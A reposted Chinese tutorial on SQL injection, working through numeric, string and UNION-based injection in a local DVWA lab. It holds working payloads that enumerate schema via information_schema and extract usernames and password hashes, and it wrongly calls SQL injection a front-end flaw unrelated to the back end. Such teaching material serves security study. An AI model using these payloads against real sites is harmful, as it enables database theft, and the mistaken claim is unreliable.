柚子快報(bào)邀請(qǐng)碼778899分享:SQL 注入漏洞詳解
1)漏洞簡(jiǎn)介
SQL 注入簡(jiǎn)介
SQL 注入 即是指 Web 應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒(méi)有判斷或過(guò)濾不嚴(yán),攻擊者可以在 Web 應(yīng)用程序中事先定義好的查詢語(yǔ)句的結(jié)尾上添加額外的 SQL 語(yǔ)句,在管理員不知情的情況下實(shí)現(xiàn)非法操作,以此來(lái)實(shí)現(xiàn)欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的任意查詢,從而進(jìn)一步得到相應(yīng)的數(shù)據(jù)信息。
SQL 注入概念
**SQL 注入漏洞 **主要形成的原因是在數(shù)據(jù)交互中,站點(diǎn)針對(duì)前端的數(shù)據(jù)傳入到后臺(tái)處理時(shí),沒(méi)有做嚴(yán)格的判斷,導(dǎo)致其傳入的“數(shù)據(jù)”拼接到 SQL 語(yǔ)句中后,被當(dāng)作 SQL 語(yǔ)句的一部分執(zhí)行。 從而導(dǎo)致數(shù)據(jù)庫(kù)受損(被脫褲、被刪除、甚至整個(gè)服務(wù)器權(quán)限淪陷)。 主要是開(kāi)發(fā)人員在構(gòu)建代碼時(shí),沒(méi)有對(duì)輸入邊界進(jìn)行安全考慮,導(dǎo)致攻擊著可以 通過(guò)合法的輸入點(diǎn)提交一些精心構(gòu)造的語(yǔ)句,從而欺騙后臺(tái)數(shù)據(jù)庫(kù)對(duì)其進(jìn)行執(zhí)行,導(dǎo)致數(shù)據(jù)庫(kù)信息泄漏的一種漏洞。
SQL 注入攻擊流程
第一步:注入點(diǎn)探測(cè) 自動(dòng)方式:使用 Web 漏洞掃描工具,自動(dòng)進(jìn)行注入點(diǎn)發(fā)現(xiàn) 手動(dòng)方式:手工構(gòu)造 sql inject 測(cè)試語(yǔ)句進(jìn)行注入點(diǎn)發(fā)現(xiàn)
第二步:信息獲取 通過(guò)注入點(diǎn)取期望得到的數(shù)據(jù)。
環(huán)境信息:數(shù)據(jù)庫(kù)類型,數(shù)據(jù)庫(kù)版本,操作系統(tǒng)版本,用戶信息等。數(shù)據(jù)庫(kù)信息:數(shù)據(jù)庫(kù)名,數(shù)據(jù)表名,表字段名,字段內(nèi)容(加密內(nèi)容破解)
第三步:獲取權(quán)限 獲取操作系統(tǒng)權(quán)限:通過(guò)數(shù)據(jù)庫(kù)執(zhí)行 Shell,上傳木馬
2)漏洞原理
可以通過(guò)網(wǎng)站存在的查詢語(yǔ)句進(jìn)行構(gòu)造,為此開(kāi)發(fā)者對(duì)其傷透了腦筋,漏洞不光是查詢,可能還存在與 API、隱藏鏈接、http 頭數(shù)據(jù)、寫入數(shù)據(jù)等。需要對(duì)數(shù)據(jù)包的結(jié)構(gòu)和傳遞函數(shù)比較了解,建議學(xué)習(xí)的時(shí)候把數(shù)據(jù)庫(kù)的日志打開(kāi),就可以查看到傳遞到數(shù)據(jù)庫(kù)的語(yǔ)句是什么樣子的了。 需要記住的 information_schema 數(shù)據(jù)庫(kù)的 SCHEMATA、TABLES、COLUMNS。 SCHEMATA 表中存放所有數(shù)據(jù)庫(kù)的名,字段名為 SCHEMA_NAME。 關(guān)鍵函數(shù) database() 當(dāng)前數(shù)據(jù)庫(kù)名、version() 當(dāng)前 mysql 版本、user() 當(dāng)前 mysql 用戶。
3)漏洞危害
屬于危害較高的漏洞,可以獲取敏感信息,修改信息,脫庫(kù),上傳 Webshell,執(zhí)行命令。
參數(shù)用戶可控:前端傳給后端的參數(shù)內(nèi)容是用戶可以控制的。( 輸入框,URL,抓包 )參數(shù)帶入數(shù)據(jù)庫(kù)查詢:傳入的參數(shù)拼接到 SQL 語(yǔ)句,且?guī)霐?shù)據(jù)庫(kù)查詢。
**SQL 注入漏洞 **發(fā)生在前端,屬于前端開(kāi)發(fā)設(shè)計(jì)漏洞。該漏洞與后端數(shù)據(jù)庫(kù)執(zhí)行無(wú)關(guān)。
SQL 注入被廣泛用于非法入侵網(wǎng)站服務(wù)器,獲取網(wǎng)站控制權(quán)。它是應(yīng)用層上的一種安全漏洞。
通常在設(shè)計(jì)存在缺陷的程序中,**對(duì)用戶輸入的數(shù)據(jù)沒(méi)有做好過(guò)濾,導(dǎo)致惡意用戶可以構(gòu)造一些SQL語(yǔ)句讓服務(wù)器去執(zhí)行,**從而導(dǎo)致數(shù)據(jù)庫(kù)中的數(shù)據(jù)被竊取,篡改,刪除,以及進(jìn)一步導(dǎo)致服務(wù)器被入侵等危害。
環(huán)境準(zhǔn)備
docker pull sagikazarmark/dvwa
docker run -d --name dvwa -p 8081:80 -p 33060:3306 sagikazarmark/dvwa
docker exec -it dvwa /bin/bash
show databases;
information_schema:可用來(lái)訪問(wèn)數(shù)據(jù)庫(kù)的元數(shù)據(jù),相似于信息數(shù)據(jù)庫(kù)。其中保存著 關(guān)于MySQL 服務(wù)器 所維護(hù)的所有其他數(shù)據(jù)庫(kù)的信息(元數(shù)據(jù))。如數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)的表,表欄的數(shù)據(jù)類型與訪問(wèn)權(quán)限等。
4)SQL 注入分類
4.1)數(shù)字型
當(dāng)輸入的參數(shù)為整形時(shí),如果存在注入漏洞,可以認(rèn)為是數(shù)字型注入。
測(cè)試步驟:
1. 加單引號(hào), URL:www.text.com/text.php?id=3'
對(duì)應(yīng)的 sql: select * from table where id=3' 這時(shí) sql 語(yǔ)句出錯(cuò), 程序無(wú)法正常從數(shù)據(jù)庫(kù)中查詢出數(shù)據(jù), 就會(huì)拋出異常; 此時(shí)可以判斷大概率存在注入, 因?yàn)橹挥蟹?wù)器將這個(gè)單引號(hào)一起當(dāng)作 SQL 語(yǔ)句執(zhí)行時(shí)才會(huì)報(bào)錯(cuò).
2. 加 and 1=1, URL: www.text.com/text.php?id=3 and 1=1
對(duì)應(yīng)的 sql: select * from table where id=3 and 1=1 語(yǔ)句執(zhí)行正常, 與原始頁(yè)面無(wú)任何差異;
3. 加 and 1=2, URL: www.text.com/text.php?id=3 and 1=2
對(duì)應(yīng)的 sql: select * from table where id=3 and 1=2 語(yǔ)句可以正常執(zhí)行, 但是無(wú)法查詢出結(jié)果, 所以返回?cái)?shù)據(jù)與原始網(wǎng)頁(yè)存在差異.
加單引號(hào)測(cè)試
SELECT first_name, last_name FROM users WHERE user_id = '1'';
**加 **and 1=1 測(cè)試
如下查詢到數(shù)據(jù)的狀況:存在兩種情況。
**有引號(hào):**網(wǎng)站把輸入的 1 and 1=1 **當(dāng)成字符串 **傳遞到后端,因隱式轉(zhuǎn)換的存在,所以查詢出結(jié)果。**無(wú)引號(hào):**網(wǎng)站識(shí)別了輸入的 and 1=1,做了邏輯判斷。所以能查詢出結(jié)果。存在 SQL 注入。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1';
**加 **and 1=2 測(cè)試
成功返回結(jié)果,說(shuō)明輸入的內(nèi)容是被 當(dāng)成了字符串執(zhí)行(隱式轉(zhuǎn)換)。并未做邏輯運(yùn)算。 如果做了邏輯運(yùn)算,則存在 SQL 注入漏洞。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2';
未做隱式轉(zhuǎn)換的效果
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;
如果滿足以上三點(diǎn),則可以判斷該 URL 存在數(shù)字型注入。
4.2)字符型
當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。 字符型和數(shù)字型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的。 數(shù)字型語(yǔ)句:select * from table where id =3; 字符型如下:select * from table where name='admin';
因此,在構(gòu)造 Payload 時(shí) 通過(guò)閉合單引號(hào) 可以成功執(zhí)行語(yǔ)句: 實(shí)現(xiàn)了繞過(guò)被單引號(hào)包含的結(jié)局
嘗試輸入: 1' and 1=1 #
# 基于這種方法: 實(shí)現(xiàn)了繞過(guò)被單引號(hào)包含的結(jié)局
# 實(shí)現(xiàn)了在 SQL 語(yǔ)句層面, 輸入的內(nèi)容是兩個(gè)正常的表達(dá)式.
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';
可以判斷為:字符型注入,對(duì)參數(shù) id 沒(méi)有做任何過(guò)濾,并且用單引號(hào)閉合。
因?yàn)闂l件 1=1 永遠(yuǎn)為真( 恒為真 ) 所以 where 查詢不再限制只返回特定 user_id 的記錄,**而是返回整個(gè)表的內(nèi)容。 **
# 理想效果
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1;
# 閉合單引號(hào)
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1 #';
4.3)Union 注入 ( 聯(lián)合查詢注入 )
聯(lián)合查詢是可合并多個(gè)相似的選擇查詢的結(jié)果集。等同于將一個(gè)表追加到另一個(gè)表,從而實(shí)現(xiàn)將兩個(gè)表的查詢組合到一起,使用 UNION 或 UNION ALL。 注意:UNION 操作符選取不重復(fù)的值。如果允許重復(fù)的值,請(qǐng)使用 UNION ALL
select user_id,first_name from users where user_id=1 union all select user_id,first_name from users where user_id=1;
select user_id,first_name from users where user_id=1 union select user_id,first_name from users where user_id=1;
推薦使用 UNION ALL,因?yàn)?UNION 會(huì)自動(dòng)過(guò)濾掉字段內(nèi)容重復(fù)的數(shù)據(jù),這可能導(dǎo)致我們錯(cuò)過(guò)想查找的相關(guān)數(shù)據(jù)內(nèi)容。
前提條件:頁(yè)面存在顯示位
MySQL 5.0 以上版本,存在一個(gè)自帶的數(shù)據(jù)庫(kù)名為:information_schema(重點(diǎn))
information_schema 數(shù)據(jù)庫(kù)中 **有三個(gè)表 **非常重要
schemata:表里包含所有數(shù)據(jù)庫(kù)的名字tables:表里包含所有數(shù)據(jù)庫(kù)的所有表名,默認(rèn)字段為 table_namecolumns:表里包含所有數(shù)據(jù)庫(kù)的所有表的所有字段名
三個(gè)列 非常重要
SCHEMA_NAME:數(shù)據(jù)庫(kù)名TABLE_NAME:表名COLUMN_NAME:字段名
# 爆庫(kù)名
select database();
select SCHEMA_NAME from information_schema.schemata;
select group_concat(SCHEMA_NAME) from information_schema.schemata;
# 爆表名
select TABLE_NAME from information_schema.tables where table_schema='dvwa';
select group_concat(TABLE_NAME) from information_schema.tables where table_schema='dvwa';
# 爆列名
select COLUMN_NAME from information_schema.columns where TABLE_NAME='users';
select group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users';
聯(lián)合注入的過(guò)程:
判斷注入點(diǎn)判斷是整型還是字符型判斷列數(shù)、判斷顯示位獲取所有數(shù)據(jù)庫(kù)名獲取數(shù)據(jù)庫(kù)所有表名、字段名、字段中的數(shù)據(jù)重
判斷 列數(shù)、判斷 顯示位 通過(guò) order by** 來(lái) 得知輸出的結(jié)果有幾列
通過(guò) order by 來(lái) 判斷列數(shù)
# 正常
1' order by 2#
通過(guò) union all來(lái) 判斷顯示位
判斷 select 查詢語(yǔ)句的 **字段個(gè)數(shù) **信息,用于與后邊聯(lián)合查詢數(shù)量做匹配
# 確定顯示位
1' union all select 1,2#
1' union all select 1,2,3#
爆出 **數(shù)據(jù)庫(kù)名 **和 版本信息
select database() 獲得當(dāng)前數(shù)據(jù)庫(kù)名稱
# 爆出數(shù)據(jù)庫(kù)名和版本信息
1' union all select database(),version()#
基于 group_concat 函數(shù)是一個(gè)非常實(shí)用的聚合函數(shù)** 用于在分組查詢中將同一組內(nèi)的多個(gè)值合并為一個(gè)字符串
select group_concat(first_name) from users;
爆出 dvwa 數(shù)據(jù)庫(kù)中的 數(shù)據(jù)表
# 爆出 dvwa 數(shù)據(jù)庫(kù)中有 guestbook,users 兩個(gè)表
1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#
# 加 group_concat() 函數(shù)
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#
爆出 users 表字段
# 得到 users 表字段信息
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
# 加 group_concat() 函數(shù)
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
最終基于 我們得到的 數(shù)據(jù)庫(kù)名稱,數(shù)據(jù)庫(kù)表名,數(shù)據(jù)庫(kù)字段名
通過(guò) 聯(lián)合查詢 過(guò)濾到表中的 **用戶名 **和 密碼信息 ( 數(shù)據(jù)信息 )
# 得到用戶名和密碼
1' union select user,password from users#
MD5 解密站點(diǎn)( 撞庫(kù)邏輯原理 )
大功告成
柚子快報(bào)邀請(qǐng)碼778899分享:SQL 注入漏洞詳解
推薦閱讀
本文內(nèi)容根據(jù)網(wǎng)絡(luò)資料整理,出于傳遞更多信息之目的,不代表金鑰匙跨境贊同其觀點(diǎn)和立場(chǎng)。
轉(zhuǎn)載請(qǐng)注明,如有侵權(quán),聯(lián)系刪除。